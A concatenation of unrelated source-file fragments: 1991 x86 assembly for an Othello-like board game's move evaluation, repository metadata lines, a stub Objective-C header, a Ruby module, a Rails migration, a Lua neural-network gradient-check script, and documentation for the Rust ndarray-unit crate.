PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiAdjustMoveValues proc far
cmp dl, 20
jl done
mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_1
cmp dl, 35
jl done
mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_2
cmp dl, 50
jl done
mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_3
cmp dl, 65
jl done
mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_4
cmp dl, 80
jl done
mov es:[generalValue2], UKI_EDGE_MOVE_VALUE_5
done:
ret
UkiAdjustMoveValues endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiGetMouseClick
DESCRIPTION: respond to a mouse click on the board
PASS: cx,dx = position of mouse click in grid coordinates
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiGetMouseClick proc far
; now see the current status of that cell
mov bx, es:[gameBoard]
call MemLock
mov ds, ax
mov_tr ax, cx
mov_tr bx, dx
call UkiGetNode
; see if it is occupied by a piece owned by the current player
tst cl
jnz noMove
xchg ax, cx
xchg bx, dx
call UkiIsClickValidMove
tst cl
jz noMove
mov ch, al
mov dh, bl
call UkiMovePiece
call UkiCallComputerMove
mov si, UKI_MOVE_MADE
jmp done
noMove:
mov si, UKI_NO_MOVE_MADE
done:
mov bx, es:[gameBoard]
call MemUnlock
ret
UkiGetMouseClick endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiIsClickValidMove
DESCRIPTION: check to see if a move is a legal move
PASS: cl, dl = clicked position
RETURN: cl = number of opponents captured (0 == illegal move)
al, bl = cl, dl that got passed in
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiIsClickValidMove proc far
.enter
mov_tr ax, cx
mov_tr bx, dx
clr cl
mov dl, -1
mov dh, -1
checkloop:
call UkiCheckLine
inc dl
cmp dl, 2
jl checkloop
mov dl, -1
inc dh
cmp dh, 2
jl checkloop
.leave
ret
UkiIsClickValidMove endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiCheckLine
DESCRIPTION: giveen a starting position and direction see if any
opponents are captured along that line
PASS: al, bl starting point
dl, dh = direction vector (ie -1,-1 or 1,0 or 0,1)
cl = value of move so far
RETURN:
cl = value of move after checking this row
(ie. passed in cl + number of oppnents
taken in this row)
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiCheckLine proc near
uses ax, bx, dx
.enter
push cx
mov cl, dl
or dl, dh
tst dl
pushf
mov dl, cl
clr cl
popf
jz nogoodPopCX
cmp es:[whoseTurn], offset player1
jz doplayer1
mov ah, mask GDN_PLAYER1
jmp checkloop
doplayer1:
mov ah, mask GDN_PLAYER2
checkloop:
add al, dl
add bl, dh
call UkiCheckBounds
jc nogoodPopCX
push cx
call UkiGetNode
tst cl
jz nogoodPopCXCX
cmp cl, mask GDN_OBSTACLE
jz nogoodPopCXCX
mov si, es:[whoseTurn]
cmp cl, es:[si].SP_player
jz contPopCX
pop cx
inc cl
jmp checkloop
nogoodPopCX:
pop cx
jmp done
nogoodPopCXCX:
pop cx
pop cx
jmp done
contPopCX:
pop cx
mov al, cl
pop cx
add cl , al
done:
.leave
ret
UkiCheckLine endp
if 0
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiIsEdgeMove
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: ????
PASS: al, bl = position
dl, dh is line vector
RETURN: ch = 0 or 1
DESTROYED: Nada.
PSEUDOCODE/STRATEGY: ????
KNOWN BUGS/SIDEFFECTS/IDEAS: ????
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 6/17/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiIsEdgeMove proc near
uses ax, bx, dx
.enter
clr ch
tst al
jnz checkHighX
doVertical:
tst dl
jnz done
mov ch, 1
jmp done
checkHighX:
inc al
cmp al, es:[cells]
jnz checkLowY
jmp doVertical
checkLowY:
tst bl
jnz checkHighY
doHorizontal:
tst dh
jnz done
mov ch, 1
jmp done
checkHighY:
inc bl
cmp bl, es:[cells]
jnz done
jmp doHorizontal
done:
.leave
ret
UkiIsEdgeMove endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiCheckBounds
DESCRIPTION: check the bounds of a position
PASS: al, bl grid position
RETURN:
DESTROYED: ???
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiCheckBounds proc near
tst al
jl outOfBounds
tst bl
jl outOfBounds
cmp al, es:[cells]
jge outOfBounds
cmp bl, es:[cells]
jge outOfBounds
clc
jmp done
outOfBounds:
stc
done:
ret
UkiCheckBounds endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiMovePiece
DESCRIPTION: update board and screen for a given move
PASS: ch,dh: position to move to
cl: type of move (1 = jump, 3 = replication)
RETURN: nothing
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiMovePiece proc far
mov al, ch
mov bl, dh
mov si, es:[whoseTurn]
inc es:[si].SP_numberOfGuys
mov cl, es:[si].SP_player
call UkiSetNode
mov cl, es:[si].SP_pieceColor
clr es:[si].SP_noMoveCount
call UkiDrawPlayer
; if we took a hint, then the new piece got drawn over
; the hint, so mark the hint as BAD_COORD so that it
; doesn't try to undo it later
cmp al, es:[hintMoveCoord].x_pos
jnz skiphint
cmp bl, es:[hintMoveCoord].y_pos
jnz skiphint
mov es:[hintMoveCoord].x_pos, BAD_COORD
skiphint:
call UkiAffectOpponent
ret
UkiMovePiece endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiAffectOpponent
DESCRIPTION: turn over all captured opponents updating board and screen
PASS: al,bl = position moved to
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiAffectOpponent proc near
mov dl, -1
mov dh, -1
checkloop:
clr cx
clr si
call UkiCheckLine
tst cl
jz cont
call UkiDoAffect
cont:
inc dl
cmp dl, 2
jl checkloop
mov dl, -1
inc dh
cmp dh, 2
jl checkloop
ret
UkiAffectOpponent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiDoAffect
DESCRIPTION: turn over opponents along given line
PASS: al, bl position moved to
dl, dh = direction vector
cl = number of opponents in this row to be affected
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiDoAffect proc near
uses ax, bx, dx
.enter
cmp es:[whoseTurn], offset player1
jnz doplayer2
add es:[player1].SP_numberOfGuys, cx
sub es:[player2].SP_numberOfGuys, cx
jmp doloop
doplayer2:
add es:[player2].SP_numberOfGuys, cx
sub es:[player1].SP_numberOfGuys, cx
doloop:
add al, dl
add bl, dh
push cx, dx
mov si, es:[whoseTurn]
mov cl, es:[si].SP_player
call UkiSetNode
call UkiDrawCurrentPlayer
pop cx, dx
loop doloop
.leave
ret
UkiDoAffect endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiComputerFindBestMove
DESCRIPTION: find the best move for the computer
PASS: nothing
RETURN: si: 0 if no move found, 1 otherwise
DESTROYED: ???
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiComputerFindBestMove proc far
mov bx, es:[gameBoard]
call MemLock
mov ds, ax
clr ax
mov bx, ax
mov si, ax
mov es:[bestMoveSoFar], al
mov es:[bestMoveCoord].x_pos, BAD_COORD
gridloop:
call UkiGetNodeNL
tst cl
jnz cont
call UkiDoBestMoveFromHere
cont:
inc al
cmp al, es:[cells]
jl gridloop
inc bl
clr al
cmp bl, es:[cells]
jl gridloop
mov bx, es:[gameBoard]
call MemUnlock
ret
UkiComputerFindBestMove endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FUNCTION: UkiDoBestFromHere
DESCRIPTION: see if this spot would be valid, and if so get its move value
if its better than the best move so far then mark it as the
best move so far
PASS: al, bl = position
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 2/91 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiDoBestMoveFromHere proc near
uses si, dx, bp, cx
.enter
mov cl, al
mov dl, bl
call UkiIsClickValidMove
tst cl
jz done
add cl, UKI_BASE_MOVE_VALUE
; add to cl so base value of a
; legal move is a value great
; enough, so that a "bad"
; move can have a positive value
call UkiFindMoveValue
cmp cl, es:[bestMoveSoFar]
jl done
jg doNewOne
cmp es:[bestMoveCoord].x_pos, BAD_COORD
jz doNewOne
call FastRandom
and dl, UKI_EQUAL_BESTMOVE_FACTOR
jz doNewOne
jmp done
doNewOne:
mov dx, bp
mov es:[bestMoveSoFar], cl
mov es:[bestMoveCoord].x_pos, al
mov es:[bestMoveCoord].y_pos, bl
done:
.leave
ret
UkiDoBestMoveFromHere endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiFindMoveValue
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: get the value for a given move
CALLED BY: GLOBAL
PASS: al, bl = board position
RETURN: move value
DESTROYED: Nada.
PSEUDOCODE/STRATEGY: this is my strategy....
a)
if a move is in the "center" that is, not an edge
or next to an edge then the move value is worth
the base value + the number of opponents turned
b)
if it is next to an edge than subtract a constant
value from the number of stones turned
c)
if its an edge then calculate the number of neighbors
along the edge of the opposing player are there,
if there is one, then the move value is
base value + # players turned - edge_neighbors_constant
if the value isn't 1, (0 or 2), then the move value is
base value + edge_constant + # of players turned
the corners get extra high values
KNOWN BUGS/SIDEFFECTS/IDEAS: ????
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 6/13/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiFindMoveValue proc near
uses ax, bx, si
.enter
push ax, bx
mov bx, es:[gameBoard]
call MemLock
mov ds, ax
pop ax, bx
clr ah
mov bh, ah
mov dx, 0
mov si, ax
call UkiFindMoveValueHelp
mov dx, 1
mov si, bx
call UkiFindMoveValueHelp
tst cl
jg done
mov cl, 1
done:
mov bx, es:[gameBoard]
call MemUnlock
.leave
ret
UkiFindMoveValue endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiFindMoveValueHelp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: helper routine for finding out a moves value
CALLED BY: ????
PASS: al, bl = board position
dl = horizontal edge(1) or vertical edge (0)
cl = move value so far
si = relevent coordinate
ds = gameBoard segment
es = dgroup
RETURN: cl = move value
DESTROYED: dx
PSEUDOCODE/STRATEGY: ????
KNOWN BUGS/SIDEFFECTS/IDEAS: ????
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 6/13/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiFindMoveValueHelp proc near
uses ax, bx
.enter
; if si is zero we are at an edge so find value of edge position
tst si
jnz testALhigh ; else cont
; if an edge has one opponent by it then its not "safe"
call UkiCaptureEdgeNeighbors
call UkiCheckEdgeNeighbors
cmp dh, 1 ; as long as not one neighbor, safe move
jnz doEdgeValue
; if the edge has 1 neighbor then make the move value lower
sub cl, UKI_EDGE_NEIGHBORS_VALUE
jmp done
doEdgeValue:
; if its a "safe" edge, add some value to the move, this changes
; of time
add cl, es:[generalValue2]
jmp done
testALhigh:
; if si+1 == cells we are at an edge so find edge position value
xchg ax, si
inc al
cmp al, es:[cells]
xchg ax, si
jnz checkAL2 ; else cont
call UkiCaptureEdgeNeighbors
call UkiCheckEdgeNeighbors
cmp dh, 1
jnz doEdgeValue
checkAL2:
dec si ; restore si to passed in value
; if si == 1 we are next to an edge so subtract from the move value
cmp si, 1
jnz checkALHigh2
doNextToEdge:
tst dl
jz doVertical
checkNextToCorner:
cmp al, 1
jz nextToCorner
mov bl, al
inc al
cmp al, es:[cells]
jnz notNextToCorner
nextToCorner:
sub cl, 20
jmp done
notNextToCorner:
sub cl, UKI_NEXT_TO_EDGE_VALUE
jmp done
doVertical:
xchg ax, bx
jmp checkNextToCorner
checkALHigh2:
; if si+2 == cells we are enxt to an edge so subtract from move value
add si, 2
xchg ax, si
cmp al, es:[cells]
xchg ax, si
jnz done
jmp doNextToEdge
done:
.leave
ret
UkiFindMoveValueHelp endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiCaptureEdgeNeighbors
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: ????
PASS: al, bl = board position
dl = 0 for vertical edge, 1 for horizontal edge
RETURN: cl = new move value
DESTROYED: Nada.
PSEUDOCODE/STRATEGY: ????
KNOWN BUGS/SIDEFFECTS/IDEAS: ????
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 6/18/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiCaptureEdgeNeighbors proc near
uses ax, bx, dx, si
.enter
push cx
tst dl
jz doVertical
clr dh
mov dl, -1
clr cl
call UkiCheckLine
mov dh, 1
common:
call UkiCheckLine
tst cl
pop cx
jz done
add cl, UKI_CAPTURE_EDGE_VALUE
jmp done
doVertical:
clr dl
mov dh, -1
clr cl
call UkiCheckLine
mov dl, 1
jmp common
done:
.leave
ret
UkiCaptureEdgeNeighbors endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
UkiCheckEdgeNeighbors
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: ????
PASS: al, bl = board position
dl = 0 for vertical edge, 1 for horizontal edge
RETURN: dh = number of opposing neighbors 0, 1 or 2
ds = gameBoard segment
es = dgroup
DESTROYED: Nada.
PSEUDOCODE/STRATEGY: ????
KNOWN BUGS/SIDEFFECTS/IDEAS: ????
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 6/13/91 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
UkiCheckEdgeNeighbors proc near
uses ax, bx, cx
.enter
mov si, es:[whoseTurn]
clr dh ; init our edge neighbors value to zero
tst dl ; check to see if we are doing vertical
jnz doHoriz ; or horizontal
; if we are doing a horizontal edge the first test to see
; if bl is zero, if so then check below (since the upper left
; corner is [0,0]) else check "above"
tst bl
jz checkBelow
; set al, bl to cell above this cell
dec bl
; set the current state of that cell
call UkiGetNodeNL
; if that cell is empty, then there is no neigbor
; else check to see if it is an oppoising neighbor or a friendly
; one, if opposing, then increment dh else cont
tst cl
jz checkBelowIncBL
and cl, es:[si].SP_player
and cl, 0xf0 ; zero out non relevant bits
tst cl
jnz checkBelowIncBL
inc dh
checkBelowIncBL:
inc bl
checkBelow:
; if we are at the bottom of the board, don't check beyond boundary
inc bl
cmp bl, es:[cells]
jz done
; else get the cell node and check for noeghbors
call UkiGetNodeNL
tst cl
; if a neighbor, check for friendliness
jz done
and cl, es:[si].SP_player
and cl, 0xf0 ; zero out non relevant bits
tst cl
jnz done
inc dh
jmp done
doHoriz:
; check left boundary
tst al
; if at check do right
jz checkRight
; else get node and check for neighbors
dec al
call UkiGetNodeNL
tst cl
; if neighbor, check for friendliness
jz checkRightIncAL
and cl, es:[si].SP_player
and cl, 0xf0 ; zero out piece type info
tst cl
jnz checkRightIncAL
inc dh
checkRightIncAL:
inc al
checkRight:
; now check right boudary
inc al
cmp al, es:[cells]
jz done
; if within boundary get node data
call UkiGetNodeNL
; check for neighbors
tst cl
jz done
; if neighbors, check for friendliness
and cl, es:[si].SP_player
and cl, 0xf0
tst cl
jnz done
inc dh
jmp done
done:
.leave
ret
UkiCheckEdgeNeighbors endp
UkiCode ends
| 21.113177 | 78 | 0.565455 |
3e3c6cf98bb1372dd9dba4e36e098c7b492951ef
| 209 |
h
|
C
|
KeHai/Views/SpeakHomeWorkFireCell.h
|
chengaojian/KH2016
|
1cc61d2d0726c0acae6896969338fb36bf5ebd9c
|
[
"Apache-2.0"
] | null | null | null |
KeHai/Views/SpeakHomeWorkFireCell.h
|
chengaojian/KH2016
|
1cc61d2d0726c0acae6896969338fb36bf5ebd9c
|
[
"Apache-2.0"
] | null | null | null |
KeHai/Views/SpeakHomeWorkFireCell.h
|
chengaojian/KH2016
|
1cc61d2d0726c0acae6896969338fb36bf5ebd9c
|
[
"Apache-2.0"
] | null | null | null |
//
// SpeakHomeWorkFireCell.h
// KeHai
//
// Created by 三海 on 16/10/25.
// Copyright © 2016年 陈高健. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface SpeakHomeWorkFireCell : UITableViewCell
@end
| 14.928571 | 50 | 0.69378 |
b64decab5c2a8b7c52a3136848a3d803dddb4ea7
| 767 |
rb
|
Ruby
|
lib/rubymq/condition.rb
|
senotrusov/rubymq
|
473921ff9c7a6c995b708d28ddea3496e63bdf7e
|
[
"Apache-2.0"
] | 1 |
2016-05-09T13:36:45.000Z
|
2016-05-09T13:36:45.000Z
|
lib/rubymq/condition.rb
|
senotrusov/rubymq
|
473921ff9c7a6c995b708d28ddea3496e63bdf7e
|
[
"Apache-2.0"
] | null | null | null |
lib/rubymq/condition.rb
|
senotrusov/rubymq
|
473921ff9c7a6c995b708d28ddea3496e63bdf7e
|
[
"Apache-2.0"
] | null | null | null |
#
# Copyright 2006-2008 Stanislav Senotrusov <senotrusov@gmail.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
module RubyMQ::Condition
class None
include RubyMQ::Packager
end
RubyMQ::Packager.register 0x03, self,
0x01 => None
end
| 30.68 | 75 | 0.736636 |
0584348daa8d21515daade9f1d28ba26f5567f12
| 309 |
rb
|
Ruby
|
db/migrate/20190813015746_create_join_table_org_members.rb
|
ServiceInnovationLab/feijoa
|
d95092d33b68cf4936b2958db3c662093091675d
|
[
"MIT"
] | 3 |
2019-06-10T21:02:40.000Z
|
2020-01-10T02:45:13.000Z
|
db/migrate/20190813015746_create_join_table_org_members.rb
|
ServiceInnovationLab/feijoa
|
d95092d33b68cf4936b2958db3c662093091675d
|
[
"MIT"
] | 157 |
2019-06-04T03:56:43.000Z
|
2020-06-11T15:04:25.000Z
|
db/migrate/20190813015746_create_join_table_org_members.rb
|
ServiceInnovationLab/feijoa
|
d95092d33b68cf4936b2958db3c662093091675d
|
[
"MIT"
] | 1 |
2021-04-30T04:18:10.000Z
|
2021-04-30T04:18:10.000Z
|
class CreateJoinTableOrgMembers < ActiveRecord::Migration[5.2]
def change
create_table :organisation_members do |t|
t.references :user, index: true, foreign_key: true, null: false
t.references :organisation, index: true, foreign_key: true, null: false
t.string :role
end
end
end
| 30.9 | 77 | 0.71521 |
8e05d5d48dea580fee0f329061f450d842fb4740
| 2,107 |
lua
|
Lua
|
HW3/src/checkModel.lua
|
SeeTheC/Computer-Vision-CS763
|
d333c90e5aa939135b66a588424b2ba494543ac5
|
[
"MIT"
] | null | null | null |
HW3/src/checkModel.lua
|
SeeTheC/Computer-Vision-CS763
|
d333c90e5aa939135b66a588424b2ba494543ac5
|
[
"MIT"
] | null | null | null |
HW3/src/checkModel.lua
|
SeeTheC/Computer-Vision-CS763
|
d333c90e5aa939135b66a588424b2ba494543ac5
|
[
"MIT"
] | null | null | null |
require "xlua"
require "Logger"
require "Linear"
require "ReLU"
require "BatchNormalization"
-- require "SpatialConvolution"
require "Model"
require "Criterion"
require "GradientDescent"
local cmd = torch.CmdLine();
if not opt then
cmd:text()
cmd:text('Options:')
cmd:option("-config" ,"modelConfig_1.txt" ,"/path/to/modelConfig.txt")
cmd:option("-i" ,"input.bin" ,"/path/to/input.bin")
cmd:option("-ig" ,"gradInput.bin" ,"/path/to/gradInput.bin")
cmd:option("-o" ,"output.bin" ,"/path/to/output.bin")
cmd:option("-ow" ,"gradWeight.bin" ,"/path/to/gradWeight.bin")
cmd:option("-ob" ,"gradB.bin" ,"/path/to/gradB.bin")
cmd:option("-og" ,"gradOutput.bin" ,"/path/to/gradOutput.bin")
cmd:text()
opt = cmd:parse(arg or {})
end
--linear x y
--relu
--batchnorm
--convolution x y z a b c
strsplit=function (str)
words = {}
for word in str:gmatch("%w+") do table.insert(words, word) end
return words;
end
print(opt["config"]);
-- Creating Model
local mlp = Model();
local weightPath="";
local biasPath="";
local lno=1;
for line in io.lines(opt["config"]) do
-- linear 192 10
-- relu
-- ba
-- mlp:addLayer(Liner(192, 10))
if lno==1 then
noOfLayers=tonumber(line);
elseif lno <= 1 + noOfLayers then
tbl=strsplit(line);
if tbl[1] == 'linear' then
mlp:addLayer(Linear(tonumber(tbl[2]),tonumber(tbl[3])));
elseif tbl[1] == 'relu' then
mlp:addLayer(ReLU());
elseif tbl[1] == 'batchnorm' then
mlp:addLayer(BatchNormalization())
end
elseif lno <= 1 + noOfLayers + 1 then
weightPath=line;
elseif lno <= 1 + noOfLayers + 2 then
biasPath=line;
end
lno=lno+1;
end
-- print(weightPath);
-- print(biasPath);
local input = torch.read(opt["i"])
local gradInput = torch.read(opt["ig"])
local output = mlp:forward(input)
local gradOutput = mlp:backward(input, gradInput)
local gradW = mlp.Layers[1].gradW
local gradB = mlp.Layers[1].gradB
torch.save(opt["o"], output)
torch.save(opt["og"], gradOutput)
torch.save(opt["ow"], gradW)
torch.save(opt["ob"], gradB)
| 24.788235 | 73 | 0.639298 |
649578207b70992bf79859981f231330866c443c
| 7,492 |
rs
|
Rust
|
src/lib.rs
|
politinsa/ndarray-unit
|
6b47e5117176550d4ace0fc1854d8ee9badcd307
|
[
"Apache-2.0",
"MIT"
] | 4 |
2019-12-02T19:12:16.000Z
|
2020-01-16T21:31:36.000Z
|
src/lib.rs
|
politinsa/ndarray-unit
|
6b47e5117176550d4ace0fc1854d8ee9badcd307
|
[
"Apache-2.0",
"MIT"
] | null | null | null |
src/lib.rs
|
politinsa/ndarray-unit
|
6b47e5117176550d4ace0fc1854d8ee9badcd307
|
[
"Apache-2.0",
"MIT"
] | 1 |
2019-12-04T00:57:30.000Z
|
2019-12-04T00:57:30.000Z
|
//! This crate provides a struct representing a [multidimensionnal array](https://docs.rs/ndarray/) together with a `Unit`.
//! It allows to do computations taking into account the unit of your n-dimensional array.
//!
//! # Examples
//!
//! ```
//! use ndarray_unit::*;
//!
//! extern crate ndarray;
//! use ndarray::Array;
//!
//! fn main() {
//! println!("meter / second = {}", &get_meter() / &get_second());
//!
//! let arr1 = Array::linspace(30.0, 40.0, 11);
//! let arr_u1 = ArrayUnit::new(arr1, get_joule());
//!
//! let arr2 = Array::linspace(10.0, 60.0, 11);
//! let arr_u2 = ArrayUnit::new(arr2, get_second());
//!
//! let arr3 = ndarray::array![
//! [1.0, 0.0, 2.0, 6.0],
//! [1.0, 2.0, 3.0, 5.0],
//! [1.0, 2.0, 3.0, 6.0]
//! ];
//! let arr_u3 = ArrayUnit::new(arr3, get_meter());
//!
//! println!("arr_u3 = {}", arr_u3);
//! println!("==========================================================");
//! println!("{}\n*{}\n={}", &arr_u1, &arr_u2, &arr_u1 * &arr_u2);
//! println!("==========================================================");
//! println!("{}\n/{}\n={}", &arr_u1, &arr_u2, &arr_u1 / &arr_u2);
//! println!("==========================================================");
//! println!("{}\n+{}\n={}", &arr_u1, &arr_u1, &arr_u1 + &arr_u1);
//! println!("==========================================================");
//! println!("{}\n-{}\n={}", &arr_u2, &arr_u2, &arr_u2 - &arr_u2);
//! println!("==========================================================");
//! }
//! ```
//! **Output**
//! ```
//! // meter / second = m·s⁻¹
//! // arr_u3 = [[1, 0, 2, 6],
//! // [1, 2, 3, 5],
//! // [1, 2, 3, 6]] m
//! // ==========================================================
//! // [30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40] m²·kg·s⁻²
//! // *[10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60] s
//! // =[300, 465, 640, 825, 1020, 1225, 1440, 1665, 1900, 2145, 2400] m²·kg·s⁻¹
//! // ==========================================================
//! // [30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40] m²·kg·s⁻²
//! // /[10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60] s
//! // =[3, 2.0666, 1.6, 1.32, 1.1333, 1, 0.9, 0.8222, 0.76, 0.7090, 0.6666] m²·kg·s⁻³
//! // ==========================================================
//! // [30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40] m²·kg·s⁻²
//! // +[30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40] m²·kg·s⁻²
//! // =[60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 80] m²·kg·s⁻²
//! // ==========================================================
//! // [10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60] s
//! // -[10, 15, 20, 25, 30, 35, 40, 45, 50, 55, 60] s
//! // =[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] s
//! // ==========================================================
//! ```
//!
//! # Panics
//! The program will panic when you try to add or substract two `ArrayUnit`s with different `Unit`s.
